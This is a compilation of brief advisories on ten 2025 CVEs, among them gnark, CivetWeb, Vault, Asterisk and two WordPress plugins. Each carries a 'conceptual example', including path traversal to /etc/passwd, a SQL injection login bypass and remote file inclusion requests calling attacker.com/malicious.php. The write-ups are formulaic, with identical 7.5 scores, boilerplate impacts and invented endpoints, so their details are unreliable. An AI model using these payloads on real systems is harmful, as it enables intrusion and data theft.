Author: Ameeba

Overview

A high-risk vulnerability has been discovered in the gnark framework, a widely used system for zero-knowledge proof. The vulnerability, dubbed CVE-2025-58157, could potentially lead to a denial of service, compromising systems or leading to data leakage. Given the ubiquitous use of the gnark framework, this vulnerability could potentially affect a large number of systems worldwide.

Vulnerability Summary

CVE ID: CVE-2025-58157
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

gnark | 0.12.0

How the Exploit Works

The vulnerability lies in the fake-GLV algorithm used for computing scalar multiplication within the gnark framework. This algorithm fails to converge quickly enough for some inputs, potentially leading to a denial of service. An attacker could exploit this vulnerability by sending specific types of inputs that cause the algorithm to stall, leading to a denial of service.

Conceptual Example Code

While the specific details of the exploit are proprietary, a conceptual example might look something like this:

$ gnark compute --input malicious_input.txt

In the above example, `malicious_input.txt` contains specially crafted data that triggers the vulnerability in the fake-GLV algorithm, causing a denial of service.

Mitigation Guidance

Users are advised to apply the vendor patch (version 0.13.0) as soon as possible to mitigate this vulnerability. In the interim, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.

Overview

CVE-2025-55763 describes a critical buffer overflow vulnerability present in the URI parser of CivetWeb versions 1.14 through 1.16. This vulnerability can be exploited by a remote attacker to execute arbitrary code on the target system or cause a denial of service via a specially crafted HTTP request. It affects all systems running affected versions of CivetWeb, and due to its potential for system compromise and data leakage, it warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-55763
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: May lead to system compromise, denial of service, or data leakage on successful exploitation

Affected Products

Product | Affected Versions

CivetWeb | 1.14 to 1.16 (inclusive)

How the Exploit Works

The vulnerability exists due to insufficient handling of input during the processing of HTTP requests by CivetWeb’s URI parser. A remote attacker can send a specially crafted HTTP request with an unusually long URI, causing a buffer overflow condition. This can corrupt heap memory, resulting in the execution of arbitrary code under the context of the application or cause the application to crash, leading to a denial of service.

Conceptual Example Code

A possible exploitation of the vulnerability might involve a POST request with a long URI, as shown in the conceptual example below:

POST /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

Here, the long string of ‘A’s represents an unusually long URI used to trigger the buffer overflow.

Mitigation

End users are recommended to apply the latest vendor-supplied patches as soon as they are available. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation by detecting and blocking crafted HTTP requests that attempt to exploit this vulnerability.

Overview

A critical vulnerability, CVE-2025-9639, has been identified in the QbiCRMGateway developed by Ai3. This vulnerability potentially allows unauthorized remote attackers to exploit a Relative Path Traversal flaw in the system, thus gaining access to and downloading arbitrary system files. The implications of this vulnerability are severe, with potential system compromise and data leakage being the key concerns.

Vulnerability Summary

CVE ID: CVE-2025-9639
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

QbiCRMGateway by Ai3 | All versions prior to the security patch

How the Exploit Works

An attacker exploiting this vulnerability can manipulate the file path input to QbiCRMGateway, utilizing a Relative Path Traversal technique to navigate the system’s directory structure. This can be done remotely and without authentication, allowing the attacker to access and download arbitrary files from the system, potentially compromising sensitive data and threatening the integrity of the system.

Conceptual Example Code

The following demonstrates a conceptual HTTP request exploiting this vulnerability:

GET /path/to/file/../../etc/passwd HTTP/1.1
Host: vulnerable.website.com

In this example, an attacker is attempting to download the ‘/etc/passwd’ file, a sensitive file in UNIX-based systems, via Path Traversal. The ‘../’ components in the path are used to move up in the directory structure.

Mitigation

It is strongly recommended to apply the vendor’s security patch as soon as possible. In the interim, it may be effective to employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The Clinic Image System, a product of Changing, is dealing with a significant security vulnerability. Identified as CVE-2025-8858, this SQL Injection vulnerability allows unauthorized remote attackers to inject arbitrary SQL commands into the system. This vulnerability has a high potential for compromising system integrity and leading to data leakage, posing a severe threat to the healthcare domain where data privacy is of utmost priority.

Vulnerability Summary

CVE ID: CVE-2025-8858
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Clinic Image System | All versions up to latest

How the Exploit Works

The SQL Injection vulnerability stems from the application not properly validating or escaping user-supplied input. An attacker can take advantage of this flaw by sending specially crafted SQL statements in the input fields of the application, tricking it into executing unintended commands. As a result, the attacker can potentially gain unauthorized access to sensitive data stored in the application’s database.

Conceptual Example Code

The following HTTP request provides a conceptual example of how this vulnerability might be exploited:

POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1' = '1'; -- &password=pass

In this example, the attacker manipulates the ‘username’ parameter with SQL code (`admin’ OR ‘1’=’1′; –`). This code could trick the system into bypassing authentication and granting unauthorized access.

Mitigation

Users of the affected product are urged to apply the vendor-provided patch as soon as possible. As a temporary mitigation measure, users can also employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to detect and prevent SQL Injection attacks. Regular code reviews and input validation can also help prevent such vulnerabilities from arising in the first place.

Overview

This report discusses the cybersecurity vulnerability CVE-2025-6203, a critical issue affecting Vault servers. This vulnerability allows a malicious user to send a specially-crafted complex payload that meets the default request size limit but leads to excessive memory and CPU consumption. This can cause Vault servers to become unresponsive, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-6203
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Excessive memory and CPU consumption causing server unresponsiveness, potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Vault Community Edition | Prior to 1.20.3
Vault Enterprise | Prior to 1.20.3, 1.19.9, 1.18.14, and 1.16.25

How the Exploit Works

The exploit takes advantage of the request processing mechanism of Vault servers. By crafting a complex payload that still meets the default request size limit, a malicious actor can cause the server to consume excessive memory and CPU resources. This leads to a timeout in Vault’s auditing subroutine, causing the server to become unresponsive and potentially leading to a system compromise or data leakage.

Conceptual Example Code

The vulnerability might be exploited using a HTTP POST request with a complex payload, as shown below:

POST /vault/processing HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "complex_payload": "..." }

In this example, the “complex_payload” parameter contains the specially crafted payload designed to exploit the vulnerability.

Mitigation Guidance

The best mitigation strategy is to apply the patch provided by the vendor. Affected versions should be updated to Vault Community Edition 1.20.3 or Vault Enterprise 1.20.3, 1.19.9, 1.18.14, and 1.16.25. As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to help filter out malicious payloads.

Overview

A notable cybersecurity threat has been identified in the Tenda AC10 v4.0 firmware v16.03.10.20. The firmware was discovered to have a stack overflow vulnerability, exploitable via the function get_parentControl_list_Info. This vulnerability affects all users and networks utilizing this specific firmware version, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-57215
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda AC10 v4.0 Firmware | v16.03.10.20

How the Exploit Works

The vulnerability resides in the get_parentControl_list_Info function of the Tenda AC10 v4.0 firmware v16.03.10.20. An attacker can exploit this vulnerability by sending a specially crafted packet to the targeted system. This oversized packet would trigger a stack overflow in the function, causing the system to crash or execute arbitrary code, leading to potential system compromise or data leakage.

Conceptual Example Code

Given the nature of this vulnerability, a potential exploitation could occur in the form of a HTTP request as illustrated below:

POST /get_parentControl_list_Info HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "[INSERT OVERFLOW PAYLOAD HERE]" }

The “malicious_payload” would contain an oversized data string designed to trigger the stack overflow in the get_parentControl_list_Info function.

Mitigation

Users and network administrators are advised to apply the vendor-supplied patch to address this vulnerability. In the absence of a patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, configured to detect and block attempts to exploit this vulnerability.

Overview

The CVE-2025-58047 vulnerability presents a severe risk to websites and applications running on certain versions of the Volto CMS, a popular React-based content management system. An attacker can exploit this vulnerability to cause a NodeJS server to quit with an error, potentially resulting in system compromise and data leakage. It is essential for organizations to address this vulnerability promptly to maintain their system integrity and protect sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-58047
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Volto CMS | 19.0.0-alpha.1 to before 19.0.0-alpha.4
Volto CMS | 18.0.0 to before 18.24.0
Volto CMS | 17.0.0 to before 17.22.1
Volto CMS | Prior to 16.34.0

How the Exploit Works

The vulnerability lies in the handling of specific URLs by the NodeJS server part of Volto. When an anonymous user visits a particular URL, it triggers an error that causes the server to quit. An attacker could use this exploit to cause the server to repeatedly quit, leading to potential system compromise and data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited could be an HTTP GET request to the specific URL that triggers the server to quit. Here’s a conceptual example:

GET /exploit/endpoint HTTP/1.1
Host: target.example.com

The above request could potentially cause the NodeJS server to quit with an error, creating a window of opportunity for further exploits. It is crucial to patch this vulnerability or implement a WAF/IDS as a temporary mitigation measure.

Overview

The CVE-2025-57767 is a critical vulnerability in the Asterisk open-source PBX and telephony toolkit. Specifically affecting the SIP request authentication process, this bug could potentially lead to system compromise or data leakage if exploited. Given the widespread use of the Asterisk system, this vulnerability puts numerous businesses and individuals at risk worldwide.

Vulnerability Summary

CVE ID: CVE-2025-57767
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Asterisk PBX | <20.15.2 Asterisk PBX | <21.10.2 Asterisk PBX | <22.5.2 How the Exploit Works

The vulnerability lies within the get_authorization_header() function in res_pjsip_authenticator_digest. When a SIP request with an Authorization header containing a realm not previously included in a 401 response’s WWW-Authenticate header is received, or if an incorrect realm is received without a previous 401 response sent, the function returns a NULL. This return value is not appropriately checked before attempting to retrieve the digest algorithm, causing a SEGV, or segmentation fault. This could then be exploited by an attacker to compromise the system or leak data.

Conceptual Example Code

The malicious attacker might exploit the vulnerability by sending a SIP request with a manipulated Authorization header. This could look something like this:

INVITE sip:target@example.com SIP/2.0
Via: SIP/2.0/UDP attacker.com;branch=z9hG4bK74bf9
From: "Attacker" <sip:attacker@attacker.com>;tag=9fxced76sl
To: <sip:target@example.com>
Call-ID: 3848276298220188511@attacker.com
CSeq: 2 INVITE
Authorization: Digest username="user",realm="manipulated_realm",nonce="abc123",uri="sip:target@example.com",response="...",algorithm=MD5
Content-Length: 0

In this request, the ‘realm’ parameter in the Authorization header would be manipulated to an incorrect value, triggering the vulnerability.

Overview

The PHP Remote File Inclusion vulnerability, identified as CVE-2025-53328, impacts the plugin ‘Poll, Survey & Quiz Maker’ by Opinion Stage. This vulnerability is due to the improper control of the filename for Include/Require Statement in the PHP program, which consequently allows PHP Local File Inclusion. This issue is of significance because it could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53328
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Poll, Survey & Quiz Maker Plugin by Opinion Stage | all versions through 19.11.0

How the Exploit Works

The vulnerability is present due to an improper check on the filename in the Include/Require statement of the PHP program. An attacker can exploit this vulnerability by inducing the application to include a file from a remote server. This file can contain malicious PHP code, which when executed, could lead to unauthorized system access or data leakage.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might use a request like the one below to exploit it:

GET /path/to/vulnerable/plugin.php?filename=http://attacker.com/malicious-file.php HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to use the ‘filename’ parameter to inject a malicious file into the server. The server, if vulnerable, would then download and execute the malicious PHP script, potentially compromising the system.

Mitigation

It is recommended to apply the vendor patch as soon as it is available to mitigate this vulnerability. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching systems, together with monitoring for unusual network activity, can also help reduce the risk of exploitation.

Overview

The CVE-2025-53326 is a cybersecurity vulnerability found within the CodeYatri Gutenify PHP program. This vulnerability, a form of PHP Remote File Inclusion (RFI), allows an attacker to include and execute a remote file. Given the severity of this issue, it can lead to system compromise and data leakage, making it a critical concern for users and administrators of Gutenify versions up to 1.5.6.

Vulnerability Summary

CVE ID: CVE-2025-53326
Severity: High (7.5 CVSS v3.0 Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

CodeYatri Gutenify | Up to 1.5.6

How the Exploit Works

RFI vulnerabilities, such as CVE-2025-53326, occur when an application includes a file from a remote server that it should not trust. In the case of Gutenify, an attacker can manipulate the ‘include’ or ‘require’ statements in the PHP program to include PHP files from a remote server. This allows them to execute arbitrary code and potentially compromise the system or leak data.

Conceptual Example Code

Consider the following conceptual example of an HTTP request exploiting the vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://attacker.com/malicious.php" }

In this scenario, `malicious.php` is a PHP file hosted on the attacker’s server. When the request is processed by the target server, the PHP code within `malicious.php` is executed, potentially leading to system compromise or data leakage.

Mitigation

To mitigate the effects of the CVE-2025-53326 vulnerability, users and administrators are urged to apply the latest patch provided by the vendor. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts.